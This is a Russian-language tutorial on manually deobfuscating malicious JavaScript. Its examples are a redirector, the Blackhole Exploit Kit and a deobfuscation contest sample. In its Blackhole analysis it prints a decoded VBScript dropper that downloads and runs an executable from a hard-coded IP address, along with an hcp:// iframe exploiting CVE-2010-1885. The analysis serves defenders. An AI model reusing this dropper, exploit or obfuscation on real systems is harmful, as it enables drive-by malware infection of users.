В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах.
Автор: Sudeep Singh
Введение
Обфускация JavaScript в течение уже нескольких лет используется для обхода антивирусных сканеров. С ростом числа эксплоитов для браузера большее внимание стало уделяться обнаружению вредоносного JavaScript, использующегося в веб-страницах. Это побудило атакующих подвергать свой код обфускации.
В данной статье будут рассмотрены понятия и методы, связанные с обфускацией JS. Здесь также будет представлен ручной подход, который помогает обращать продвинутые приемы обфусцирования, в том числе используемые в самых свежих эксплоитах.
Цель документа – показать преимущества ручного подхода перед автоматизированными JS-распаковщиками.
Мы также введем читателя в возможности обфусцирования, имеющиеся во фреймворке Метасплоит.
Причины применения обфускации JavaScript
Главная причина – обфусцировать исходный код таким образом, чтобы его почти невозможно было деобфусцировать и подвергнуть обратной инженерии. Это помогает предотвратить кражу интеллектуальной собственности.
Существует несколько инструментов для обфускации, которые также сжимают код и уменьшают время, требуемое для загрузки кода в браузер.
Их можно использовать, чтобы избавиться от неиспользуемого или повторяющегося кода.
С точки зрения безопасности обфусцированный JavaScript может избегать обнаружения антивирусами. Он также усложняет процесс понимания кода.
Сравнение минификаторов и обфускаторов JavaScript
Существует множество доступных по сети инструментов, которые позволяют уменьшить читаемость JavaScript-кода. Однако, минификаторы созданы, чтобы облегчать код путем удаления неиспользуемых частей и замены символов, что позволяет уменьшить время загрузки этого кода браузером.
Простым примером минификатора является JSMin Дугласа Крокфорда. Данный инструмент уменьшает размер JS-кода почти в два раза путем следующих операций:
- Замена символов возврата каретки на перевод строки
- Замена кратных пробелов на один, замена кратных символов перевода строки на один такой символ
- Замена комментариев на символ перевода строки
- Замена /**/ на пробелы
Как можно видеть, JSMin не сосредоточен на кодировании строк, замене имен локальных переменных или других методах, используемых обфускаторами.
Методы обфускации JavaScript
Существует несколько методов, используемых для обфускации фрагментов написанного на JavaScript кода. Чтобы лучше вникнуть в данный вопрос, я приведу несколько примеров обфусцированного JavaScript-кода.
Используемые приемы могут варьироваться от простых и распространенных, с которыми могут справляться онлайновые JS-распаковщики вроде jsunpack.jeek.org, до действительно сложных, которые выходят за пределы возможностей онлайновых JS-распаковщиков.
Вместо того, чтобы задокументировать все эти приемы скопом, я опишу их в трех разных разделах с нарастанием сложности.
Основы обфускации JavaScript
В первом разделе мы обсудим JavaScript, обфусцированный очень просто. Считайте это разминкой перед пониманием основных идей, используемых для обфускации JS. Прошу отметить, что, как уже утверждалось, представленный здесь обфусцированный JavaScript легко распаковать с помощью онлайновых JS-распаковщиков, однако способность проводить деобфускацию данного кода в ручном режиме поможет нам в понимании более продвинутых методов.
Итак, давайте начнем.
Вначале обфусцированный код выглядит так, как показано ниже:
Он нечитаем. Поэтому мы поместим символ новой строки после каждой точки с запятой и выполним небольшое форматирование, чтобы он стал более читаем:
Теперь сделаем несколько наблюдений, чтобы понять методы, используемые злоумышленником для обфускации кода:
Прием 1: объявление множества неиспользуемых переменных.
Пример:
var tZsuw;
var QpUL=64;
var Jzgxgh=98;
Эти переменные нужны лишь для того, чтобы создать путаницу. Их можно смело удалить.
Прием 2: вызов неопределенных функций внутри условных операторов IF с заведомо ложным условием.
Пример:
if(‘ZfoJC’==’JlEhQJO’) // False Condition
mxvGejD(); // This function is never defined and used.
Подобные операторы IF также могут быть удалены.
Прием 3: использование длинных имен переменных вроде "NMeZD" или "HxIyzd" тоже нужно лишь для затруднения анализа.
Чтобы сделать код нечитаемым, все вышеописанные приемы используются неоднократно.
После удаления из нашего кода всего лишнего мы получим более читабельный код, который выглядит примерно так:
Закодированные имена JavaScript-функций
Данный код использует различные функции JavaScript для декодирования закодированных строк. Имена этих функций также обфусцируются. Я использую веб-консоль Firefox, чтобы быстро декодировать имена этих функций.
Пример:
var NMeZD=’krkeIplIaMcMIe’.replace(/[kIYM]/g,”);
Переменная NMeZD хранит имя функции. Чтобы декодировать имя данной функции, в коде используется функция replace. Этот процесс можно автоматизировать через веб-консоль Firefox, как показано ниже:
Теперь мы знаем, что переменная хранит строку "replace".
Она в свою очередь используется для получения имени другой функции:
var DubWtR=’ufIrIIoumuCShIaruCuoSdIe'[NMeZD](/[IuS]/g,”);
Мы заменяем "NMeZD" на "replace" и снова вычисляем значение с помощью веб-консоли:
Итак, мы получили строку с именем следующей функции – "fromCharCode". Таким образом мы можем вычислить все имена функций, используемых в коде. Как только это будет сделано, код станет выглядеть так:
Получение глобального объекта
Глобальным объектом для браузера является окно (window). Данное действие также известно как утечка окна. Чтобы получить ссылку на окно, используется следующий фрагмент кода:
var KsjQS=(function(){return this;})();
Эта функция не делает ничего кроме помещения ссылки на глобальный объект (окно) в переменную с именем "KsjQS".
Получение ссылки на функцию String
var oMYN=’IhDxPv'[‘constructor’];
В данном коде использовался один изящный прием. Опять же, его проще понять с помощью веб-консоли:
Этап декодирования:
Закодированная строка хранится в переменной pGIL.
var
pGIL=’b1bcb0c2bab2bbc17bb9bcb0aec1b6bcbb8a74b5c1c1bd877c7cbcc6bfbcc1b67bbfc27
c74′; // Length of this string is 74
Главной целью кода является декодирование этой строки и ее запуск. Мы увидим, как это происходит.
Для этого используется следующий цикл For:
for (mJvk=0;mJvk<pGIL.length;mJvk+=2)
{
rVCkG=KsjQS[HxIyzd](pGIL[iRNyfP](mJvk,mJvk+2),16)-77;
mSIAd+=oMYN[DubWtR](rVCkG);
}
Мы можем сделать код гораздо более читаемым путем замены всех имен переменных на соответствующие им строки с именами функций. Наряду с тем, я также заменю имена переменных "mJvk", "rVCkG" и "mSIAd" на "a", "b" и "c" соответственно.
По окончании этих преобразований код будет выглядеть следующим образом:
for (a=0;a<pGIL.length;a+=2)
{
b=window[parseInt](pGIL[slice](a,a+2),16)-77;
c+=String[fromCharCode](b);
}
Он пробегает символы закодированной строки посредством цикла FOR и декодирует их с помощью метода String.fromCharCode.
В результате декодированная строка имеет такое значение: document.location= http://oyroti.ru/
Этот код используется для перенаправления браузера на сайт http://oyroti.ru/
Blackhole Exploit Kit
Теперь, понимая простые принципы, давайте копнем чуть поглубже в сложные коды, которые с легкостью обходят антивирусы и не поддаются онлайновым JS-распаковщикам. У нас остается лишь один выход – распаковывать их вручную.
В качестве примера я взял обфусцированный JavaScript, используемый в Blackhole Exploit kit. Этот код использует несколько новых хороших недокументированных приемов.
Для начала я перечислю некоторые используемые приемы:
- Как обычно, для противодействия реверс-инжинирингу читаемость кода понижается путем использования длинных имен переменных и удаления средств форматирования вроде символов новой строки. Тут ничего нового.
- Используются блоки try{} и catch{}. Данный принцип без изменений распространяется на несколько различных языков программирования. Вы пытаетесь запустить некторый код в блоке try{}, и, если в ходе выполнения будет выброшено исключение, оно будет обработано в обработчике исключения, находящимся в блоке catch{}.
- Излишнее использование тернарного оператора для формирования строк путем конкатенации.
- Несколько операторов IF, имеющих заведомо истинное условие (результат его вычисления всегда равен true), добавляются в качестве префиксов и суффиксов в блоки кода.
- Теперь один из действительно важных приемов. Для декодирования HTML-кода страницы используются методы DOM. Большой кусок обфусцированного кода обернут в теги <div/>. Для его декодирования используется обфусцированный JavaScript.
- Если вы начинаете читать код сверху, вы возможно захотите потратить некоторое время и попытаться понять обфусцированный код между тэгами <div/>. Однако, это – именно то, чего хочет атакующий. Вместо того, чтобы тратить время в попытках понять данный фрагмент кода, стоит взглянуть на код целиком и выяснить, где этот фрагмент используется. Как мы дальше увидим, он декодируется в цикле FOR.
Дальше мы рассмотрим более подробно, как наш код использует данный прием.
Вот исходный обфусцированный код:
После беглого взгляда на весь код мы обнаружим, что обфусцированный JS расположен на HTML-странице сразу после тега </div>.
Отсюда мы и начнем.
Ранее упомянутые приемы будет проще понять с помощью иллюстрирующих их фрагментов рассматриваемого кода:
Прием 1: достаточно просто взглянуть на код – и его применение станет очевидным 🙂
Прием 2: try{Math.lol();}catch(qwgw){fr="f"+"r"+"o"+"m"+"C";}
Разбиение кода на строки сделает его более читаемым. Я также добавил необходимые комментарии.
try
{
Math.lol(); /* lol() is an invalid library undefined in Math Class */
}
catch(qwgw) /* The code above throws an exception which triggers the code in catch()
block */
{
fr="f"+"r"+"o"+"m"+"C"; /*
Basic String Concatenation, "fromC" is the result
}
Как и в случае с большинством обфусцированных JS-скриптов, один прием применяется несколько раз. Так что, мы вычистим оставшийся код, следуя тем же путем.
Прием 3:
try{Boolean(false)[p].google;}catch(vb){e=zz[‘e’+’v’+’al’];fr+=(fr)?"ha"
+"rCode":"";ch+=(fr)?"odeAt":"
";r="
replace";}
Сделаем его более читаемым:
try
{
Boolean(false)[p].google; /* invalid code, throws an exception which triggers code in catch()
block */
}
catch(vb)
{
e=zz[‘e’+’v’+’al’]; /* Basic String Concatenation */
fr+=(fr)?"ha"+"rCode":"";
ch+=(fr)?"odeAt":"";
r="replace";
}
fr+=(fr)?"ha"+"rCode":"";
Поскольку fr уже было присвоено значение "fromC", условие в тернарной операции эквивалентно true. Значит, результатом данной операции будет то, что предшествует символу двоеточия (":").
fr = fr + "ha" + "rCode"
fr = "fromCharCode"
Прием 4:
if(e) /* e was set to the string, "eval" as seen in Step 3 */
{
z=z.replace(/</g,"<");
z=z.replace(/>/g,">");
if(e&&fr) /* both e and fr are set in the code before */
z=z[r](/&/g,(e)?"&":"");
}
На самом деле данный код сокращается, учитывая вышеописанный прием, до следующего:
z=z.replace(/</g,"<");
z=z.replace(/>/g,">");
z=z.replace(/&/g,"&");
Прием 5:
zz=window;
dd=zz[((1)?"doc":"")+"ument"]["getElem"+
((1)?"entsB":"")+"yTagName"]("div");
n="nerHTML";
for(i=5-3-2;i<dd["length"];i++)
{
if(e)
m(dd[i]["i"+"n"+n]["subst"+"r"](3));
}
dd=zz[((1)?"doc":"")+"ument"]["getElem"+
((1)?"entsB":"")+"yTagName"]
("div");
сокращается до
dd=window["document"]["getElementsByTagName"]
("div");
Это выражение вернет массив всех элементов div, присутствующих на HTML-странице. Коллекция тегов <div/> хранится в переменной dd.
В нашем случае на веб-странице присутствует лишь один тег <div/>.
Так что, dd["length"] = 1
Цикл for сокращается до
for(i=0;i<1;i++)
{
m(dd[i]["innerHTML]["substr"](3));
}
Этот цикл проходит только одну итерацию.
dd[0]["innerHTML]["substr"](3) удалит первые три символа из HTML-кода, находящегося между тегами <div/>. Первые три символа имеют значение "$$$".
Это свидетельствует о том, что наш код состоит из корректного кода перемежающегося строками некорректных символов HTML. На этапе декодирования он от этих строк избавляется.
В конце данного цикла весь обфусцированный код с вырезанными первыми тремя символами хранится в строковой переменной z.
Применение данного приема является причиной, по которой онлайновые JS-распаковщики не могут деобфусцировать код.
Прием 6:
Мы проанализируем цикл FOR, используемый для декодирования обфусцированного содержимого тега <div/>.
s="";
for(i=0;i+5-4-1<=2227;i++) {
if(i-2227==0){q=s;e(q);}else{
c=z["su"+"bstr"](i,1);
h=c[ch](0);
if((h>=36)&&(h<61)){
c=st(h+25);
} else if ((h>=61)&&(h<86)) {
c=st(-25+h);
}
s=s.concat(c);
}
Это сокращается до
for(i=0;i+5-4-1<=2227;i++)
{
if(i-2227==0)
{
q=s;
e(q);
}
else
{
c=z["substr"](i,1);
h=c.charCodeAt(0);
if((h>=36)&&(h<61))
{
c=String.fromCharCode(h+25);
}
else
if ((h>=61)&&(h<86))
{
c=String.fromCharCode(-25+h);
}
s=s.concat(c);
}
После прочтения кода цикла FOR становится очевидным, что он декодирует обфусцированное содержимое путем манипуляции с ASCII-кодами.
Вот в какой последовательности происходит декодирование:
- Запускается цикл FOR по всей длине содержимого между тегами <div/>.
- За итерацию обрабатывается один символ
- Вычисляется ASCII-код символа
- Если код имеет значение между 36 и 61 (не включая), то к нему добавляется 25, а символ, соответствующий результирующему коду, сохраняется в переменной
- Иначе, если код имеет значение между 61 и 86 (не включая), то из него вычитается 25, а символ, соответствующий результирующему коду, сохраняется в переменной
- Данный символ конкатенируется с результатом предыдущей итерации, и осуществляется переход к следующему символу, пока все содержимое не будет обработано
- Последний шаг цикла состоит в вызове функции eval() для запуска результата декодирования
Теперь, когда мы понимаем, что делает данный цикл FOR, мы можем продолжить декодирование. Однако, учитывая размер обфусцированного кода, делать это вручную будет неэффективно.
Вместо этого я создам новый HTML-документ, используя только нужный код из исходной вредоносной веб-страницы.
Нашей целью здесь будет увидеть, во что декодируется обфусцированный кусок кода.
Вот код новой страницы:
<html>
<title>Deobfuscation</title>
<script type="text/javascript">
var z="var iframe$@Uiframe src$"?……"; /* Place the entire obfuscated
code present between the
<div/> tags with the first 3 characters stripped out here */
s="";
for(i=0;i<=2227;i++)
{
c=z.substr(i,1);
h=c.charCodeAt(0);
if((h>=36)&&(h<61))
{
c=String.fromCharCode(h+25);
}
else
if ((h>=61)&&(h<86))
{
c=String.fromCharCode(-25+h);
}
s=s.concat(c);
}
alert(s);
</script>
</html>
Сохраните его как HTML-страницу и откройте ее в браузере. Деобфусцированный код будет показан во всплывающем окне.
Скопируйте и вставьте содержимое этого окна в другой файл не в HTML-формате.
Тут мы сталкиваемся с еще одним слоем обфускации. Чтобы снять и его, могут быть применены изученные ранее приемы.
Однако, нам опять нужно рассмотреть весь код целиком.
Прием 1:
Использование разных типов кодирования:
Вот некоторые примеры: h, №, %u003f.
Мы можем заменить эти последовательности, преобразовав в соответствующие символы юникода, но сделаем это позднее.
Прием 2:
CreateObject(@MSXML2.XMLHTTP@)>>№TEMP№}
go.gPs
echo Set xml ! Nothing >>№TEMP№
Множество специальных символов вроде "@", "}", "!" располагаются особым образом, однако значение их неясно.
Если мы продолжим отслеживать код до конца, то найдем набор используемых функций замены (replace).
В целом обфусцированный код содержит цепочку функций замены, добавленных в конец, как показано ниже:
Давайте вычислим данные выражения одно за другим:
- replace(/!/g, String.fromCharCode(61)) -> replace "!" with "="
- replace(/@/g, String.fromCharCode(34)) -> replace "@" with """
- replace(/]/g, String.fromCharCode(38)) -> replace "]" with "&"
- replace(/{/g, String.fromCharCode(63)) -> replace "{" with "?"
- replace(/JOPA/g, String.fromCharCode(72,84,84,80,46,83,101,110,100)) -> replace "JOPA" with "HTTP.Send"
- replace(/gPs/g, String.fromCharCode(118,98,115)) -> replace "gPs" with "vbs"
- replace(/}/g, String.fromCharCode(92)) -> replace "}" with ""
- replace(/№/g, String.fromCharCode(37)) -> replace "№" with "%"
Теперь должно быть ясно, почему я не заменил "№" на соответствующий символ на шаге 1: это дало бы нам другой результат.
Применив означенные выше функции ко всему обфусцированному коду, мы получим:
После непродолжительного исследования можно заключить, что данная последовательность действий записывается командой echo в VBScript-файл, располагающийся в %TEMP%go.vbs с помощью оператора перенаправления (">>")
Для большей ясности мы можем переписать содержимое go.vbs в таком виде:
FileName = "%TEMP%/file.exe
url="http://69.194.192.229/q.php?f=7245d&e=5"
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Call objHTTP.Open("GET", url, False)
objHTTP.Send
set oStream = createobject("Adodb.Stream")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write objHTTP.responseBody
oStream.savetofile FileName, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run FileName, 0, True
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFile
Данный VBScript запускается командой
cscript %TEMP%/go.vbs>nul
следующей за созданием vbs файла в конце скрипта
Что именно приводит к запуску нашего кода?
var iframe='<iframe
src="hcp://services/search?
query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm?svr=<‘+’script
defer>
В Центре справки и поддержки Windows (Microsoft Windows Help Centre, helpctr) существует уязвимость, связанная с тем, как выполняется URL-нормализация. Эксплуатируется зарегистрированный обработчик протокола hcp://.
Это позволяет выполнить код, в нашем случае – VBScript.
Более подробно о данной уязвимости можно прочитать здесь:
http://www.exploit-db.com/exploits/13808/
CVE для данного эксплоита: CVE-2010-1885
Что делает рассмотренный VBScript?
Он загружает содержимое с URL http://69.194.192.229/q.php?f=7245d&e=5, записывает его в file.exe во временной папке системы и запускает его с помощью WshShell.
Так мы смогли увидеть, насколько хорошо обфусцированный JavaScript может скрывать настоящий функционал.
Задача по деобфускации JS от Breaking Point
Теперь, когда мы познакомились со сложно обфусцированным JavaScript, давайте взглянем на еще один, который использует несколько новых приемов.
На этот раз я возьму обфусцированный JavaScript, который давался на соревновании по деобфускации, устроенному компанией Breaking Point Systems в сентябре 2011 года.
Он использует несколько приемов. Код выглядит так:
Выше показан фрагмент обфусцированного кода. Вы можете скачать полный код здесь: http://www.breakingpointsystems.com/default/assets/File/blogresources/JavaScript-obfuscationcode.txt
Снова я перечислю используемые здесь приемы:
Прием 1:
Строки представляются интерпретируются как числа в системе счисления с основанием 32 (далее – radix-32).
Побитовый сдвиг влево эквивалентен умножению числа на 2 в степени, равной количеству левых сдвигов.
Несколько примеров:
16<<1 = 16 * 2^1 = 32
2<<4 = 2 * 2^4 = 32
4<<3 = 4 * 2^3 = 32
В JavaScript функция toString() используется для преобразования числа в строку. Когда данной функции передается аргумент 32, она преобразует число из десятичной (с основанием 10) системы в radix-32.
Это можно понять на примере.
720094129..toString(16<<1)+""
720094129 – десятичное число (с основанием 10).
16<<1 = 32, как мы уже видели выше.
720094129..toString(16<<1)+"" = 720094129..toString(32)+""
Нам нужно вычислить эквивалент числа 720094129 (записанного в десятичной системе) в radix-32.
Для перевода из одной системы счисления в другую можно использовать этот сайт:
http://www.convertit.com/go/convertit/calculators/math/base_converter.asp
Число 720094129 в radix-32 эквивалентно строке "length"
720094129..toString(32)+""= length + "" = length
Прием 2:
Представление чисел через операции над строками.
Умный прием был использован для представления чисел, особенно маленьких (0-9) в виде выражений, оперирующих со строками.
1 можно представить как длину строки, состоящей из единственного символа.
‘C'[length] = 1
Однако из предыдущего анализа мы знаем, что строка "length" может быть также записана в виде 720094129..toString(32)+""
так что ‘C'[720094129..toString(32)+""] = 1
В данном JavaScript вычисляется несколько выражений "if". Давайте возьмем одно для примера и расширим примененный к нему подход на все остальные.
if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != –
‘Z'[720094129..toString(16<<1)+""])
‘Z'[720094129..toString(16<<1)+""] = 1
Так, вышеописанное выражение "if" сокращается до:
if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != -1)
Это подводит нас к следующему шагу обфускации.
Прием 3:
Строка представляется в виде кодов символов.
Коды символов представлены в различных форматах: десятичном (dec), восьмеричном (oct) и шестнадцатеричном (hex).
String.fromCharCode(x)
Данная функция JavaScript вернет символ, соответствующий ASCII-коду x.
Здесь важно отметить, что числу ‘x’, являющемуся аргументом данной функции, следует быть записанным в десятичном формате. Ему не следует быть ни восьмеричным, ни шестнадцатеричным. Если оно в записано в другой системе, оно неявно преобразуется JS-интерпретатором в десятичную систему.
Если мы посмотрим на рассмотренный выше образец условного выражения, мы увидим некоторые числа, записанные в восьмеричном формате (начинаются с 0).
Во время соревнования я написал короткий скрипт на Перл, который бы автоматически разбирал список разделенных запятой чисел в различных форматах и конвертировал бы их в десятичный формат.
Он оказался очень полезным и сэкономил кучу времени, как вы позднее увидите, когда мы подойдем к этапу декодирования с помощью XOR.
Например, в обфусцированном JavaScript присутствовало такое условное выражение:
if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != –
‘Z'[720094129..toString(16<<1)+""])
{
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
}
Имеем ‘Z'[720094129..toString(16<<1)+""] = ‘Z'[length] = 1
if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != -1)
{
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
}
Теперь нам нужно упростить аргумент String.fromCharCode.
Вы можете использовать данный сайт, чтобы преобразовать String.fromCharCode из строки чисел в символы:
http://www.gooby.ca/decrypt/decoders/ord2char.php
Если вы введете 0157,112,0145,114,97 в поле ввода на данном сайте, вы получите на выходе непонятный набор символов:
•p‘ra
Аналогично, попробуйте ввести 0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 и посмотрите на результат.
=6–Lr„q2›rH.5
Это происходит по причине, которую я упомянул выше. Эти значения должны быть записаны в десятичном виде, а не в восьмеричном или шестнадцатеричном. В обфусцированный javascript была включена смесь из десятичных, восьмеричных и шестнадцатеричных чисел, чтобы обмануть исследователя.
Здесь и пригождается Перл-скрипт, позволяя сэкономить нам время.
0157,112,0145,114,97 = 111,112,101,114,97 = opera
0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 =
109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS
Замечание: если вы не хотите использовать Перл-скрипт для выполнения преобразования кодов символов, вы можете использовать JS-интерпретатор веб-консоли, чтобы получить требуемые значения.
Теперь наше условное выражение сокращается до:
if(uUHIjMJVFJET.indexOf(opera) != -1)
{
return maThLLZqPmrrFS;
}
Важно понять эту часть часть кода. Переменная uUHIjMJVFJET будет хранить значение user-agent (в нижнем регистре) браузера жертвы. Мы проверяем, использует ли жертва браузер Opera. Если жертва использует данный браузер, то мы возвращаем случайную предварительно сгенерированную парольную фразу, "maThLLZqPmrrFS".
Эта парольная фраза будет использована для декодирования закодированной XOR-ом полезной нагрузки, которую мы увидим позже.
В коде встречаются несколько операторов if, которые проверяют соответствие user-agent различным типам браузеров и, в зависимости от результата проверки, возвращают соответствующую парольную фразу.
Прием 4:
Операция сложения заменяется специальными символами.
Если вы предварите число N символом ‘~’, то получите значение, равное -(N+1)
~N = -(N+1)
-~N = N+1
Поэтому добавление 1 к N эквивалентно дописыванию -~ перед N.
Если вы хотите добавить к значению переменной 3, нужно предварить ее троекратной комбинацией -~.
-~-~-~N = N +3
Рассмотрим, например, такое выражение "if":
if(uUHIjMJVFJET.indexOf((-~-~’zgBq'[720094129..toString(32<<0)+"
"]>(0x2*-~-~-
~’tlk'[720094129..toString(16<<1)+""]+3)?(function ()
{ var
bseY="iC",HgWL="z",hhme="q",FTva="pmhJtYe&
quot;,ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY
})():421389006..toString(32<<0)+"")) != -‘v'[720094129..toString(16<
<1)+""]) { return (function () { var
BmIT=’QW’,jEgm=’aFa’; return jEgm+BmIT })(); }
Сначала мы выполним перевод десятичных чисел в radix-32, чтобы получить соответствующие строки.
if(uUHIjMJVFJET.indexOf((-~-~’zgBq'[length]>(0x2*-~-~-~’tlk'[length]+3)?(function
()
{ var
bseY="iC",HgWL="z",hhme="q",FTva="pmhJtYe&
quot;,ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY
})():chrome+"")) != -‘v'[length]) { return (function () { var BmIT=’QW’,jEgm=’aFa’;
return jEgm+BmIT })(); }
Сосредоточимся на этом фрагменте:
-~-~’zgBq'[length]>(0x2*-~-~-~’tlk'[length]+3)
‘zgBq'[length] = 4
-~-~’zgBq'[length] = 4+2 = 6
-~-~-~’tlk'[length] = 3+3 = 6
Зная данные соотношения, мы можем сократить показанное выше условное выражение до:
if(uUHIjMJVFJET.indexOf((6>(18)?(function ()
{ var
bseY="iC",HgWL="z",hhme="q",FTva="pmhJtYe&
quot;,ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY
})():chrome+"")) != -1) { return (function () { var BmIT=’QW’,jEgm=’aFa’; return
jEgm+BmIT })(); }
После подстановки значений переменных получим:
if(uUHIjMJVFJET.indexOf(chrome)) != -1)
{
return (function () { return aFaQW })();
}
В коде многократно встречалась конструкция вида (function () { return x })(). Надеюсь, для вас очевидно, что она всего лишь возвращает значение x.
Так что, данное выражение уменьшается до:
if(uUHIjMJVFJET.indexOf(chrome)) != -1)
{
return aFaQW;
}
Данный блок кода снова выглядит похожим на рассмотренное ранее "if"-выражение. Он возвращает случайную парольную фразу, если жертва использует браузер Chrome.
Теперь, когда я рассмотрел приемы, использованные в данном обфусцированном JavaScript, мы можем видеть результат их применения. Мы можем деобфусцировать значительную часть кода. Вот что мы получим (я также добавил необходимые комментарии):
function wprcm()
{
var uUHIjMJVFJET = navigator.userAgent.toLowerCase(); /* retrieves the Browser’s User
Agent and
converts it to lowercase. */
if(uUHIjMJVFJET.indexOf(opera) != -1) /* is the browser Opera? */
{
return maThLLZqPmrrFS; // the Random passphrase which is returned depending on the
Browser Type
}
if(uUHIjMJVFJET.indexOf(firefox) != -1) /* is the browser Firefox? */
{
return (loMAYcXfkUsG);
}
if(uUHIjMJVFJET.indexOf(chrome) != -1) /* is the browser Chrome? */
{
return (aFaQW);
}
if(uUHIjMJVFJET.indexOf(safari) != -1) /* is the browser Safari? */
{
return (MjLMl);
}
if(uUHIjMJVFJET.indexOf(msie) != -1) /* is the browser Microsoft Internet Explorer */
{
return (nUHCmZfyQBLAg);
}
if(uUHIjMJVFJET.indexOf(netscape)) != -1) /* is the browser Netscape? */
{
return (IrNFOz);
}
if(uUHIjMJVFJET.indexOf(mozilla/5.0) != -1) /* Is the browser Mozilla? */
{
return VjtxHZHGKWT;
}
return HEeeeYBsTMItYY; /* If none of the above User Agents were detected then return this
value */
}
function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
{
var UMa = [];
var VfoamYteBIveYp = "";
while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)
{
pOtdvHbBav += pOtdvHbBav;
}
for(i = 1; i <= 255; i++)
{
UMa[String.fromCharCode(i)] = i; /* ASCII Table */
}
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
{
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
}
return VfoamYteBIveYp; /* This returns the XOR decoded String to the eval function to
execute */
} eval(pjSkrbvs(unescape((String.fromCharCode(37,117,48,48,48,97,…….))), wprcm()));
На основании написанного выше мы запишем логику алгоритма:
Функция 1:
function wprcm():
Данная функция определяет user-agent браузера жертвы. Она проверяет значение user-agent и, в зависимости от типа браузера, возвращает случайно сгенерированный пароль.
Вызов главной функции в данном обфусцированном JavaScript находится в нижней его части:
eval(pjSkrbvs(unescape((String.fromCharCode(),wprcm()));
Функция 2:
Это декодирующая функция, pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
Функция принимает на входе два аргумента.
FSzQjtHkbuMDLW: JavaScript, закодированный с помощью XOR.
pOtdvHbBav: случайная парольная фраза, которая используется для декодирования.
Сначала парольная фраза расширяется до длины закодированного JavaScript. Таблица ASCII-кодов содержится в массиве UMa, который понадобится позднее в процессе декодирования.
XOR-декодирование происходит в данном цикле FOR.
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
{
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
}
Цикл выполняет операцию XOR между ASCII-значением каждого символа из закодированной полезной начинки JavaScript и соответствующим символом случайной парольной фразы. Результат данной операции затем преобразуется из ASCII-кода в символ с помощью функции String.fromCharCode().
В конце работы данной функции переменная VfoamYteBIveYp содержит полностью декодированный JavaScript, который передается в вызывающую функцию eval().
Xor-декодировщик:
Я поступлю так же, как и в предыдущем разделе. Чтобы раскодировать полезную нагрузку, я использую определенные блоки исходного обфусцированного кода, которые помогут при декодировании. В данном случае я сформирую новый HTML-файл, показанный ниже:
<html>
<title>XOR Decoder</title>
<script type="text/javascript">
function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
{
var UMa = [];
var VfoamYteBIveYp = "";
while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)
{
pOtdvHbBav += pOtdvHbBav; /* Expand the Random Passphrase according to the length of
the XOR
Encoded JavaScript */
}
for(i = 1; i <= 255; i++)
{
UMa[String.fromCharCode(i)] = i; /* This forms the ASCII Table and stores it in the Array,
UMa[] */
}
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
{
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* XOR decoding happens here. */
}
document.write(VfoamYteBIveYp); // this is decoded Javascript returned to the calling eval()
function
}
pjSkrbvs(unescape((String.fromCharCode
(37,117,48,48,48,97,37,117,48,48,49,97,37,117,48,48,50,51,37
,117,48,48,50,50,37,117,48,48,50,100,37,117,48,48,48,97,37,117,48,48,51,55,37,117,48,48
,48,56,37,11
7,48,48………..))), "loMAYcXfkUsG");
</script>
</html>
Поскольку я использую Firefox, я взял парольную фразу "loMAYcXfkUsG", соответствующую значению user-agent для Firefox.
Как только я открою данную HTML-страницу в Firefox, я получу на выходе декодированный код. Он содержит еще один уровень обфускации.
Здесь, однако, использованы те же приемы, что и прежде, поэтому я опущу подробности.
Применив еще раз те же методы, мы получим деобфусцированный JavaScript, показанный ниже:
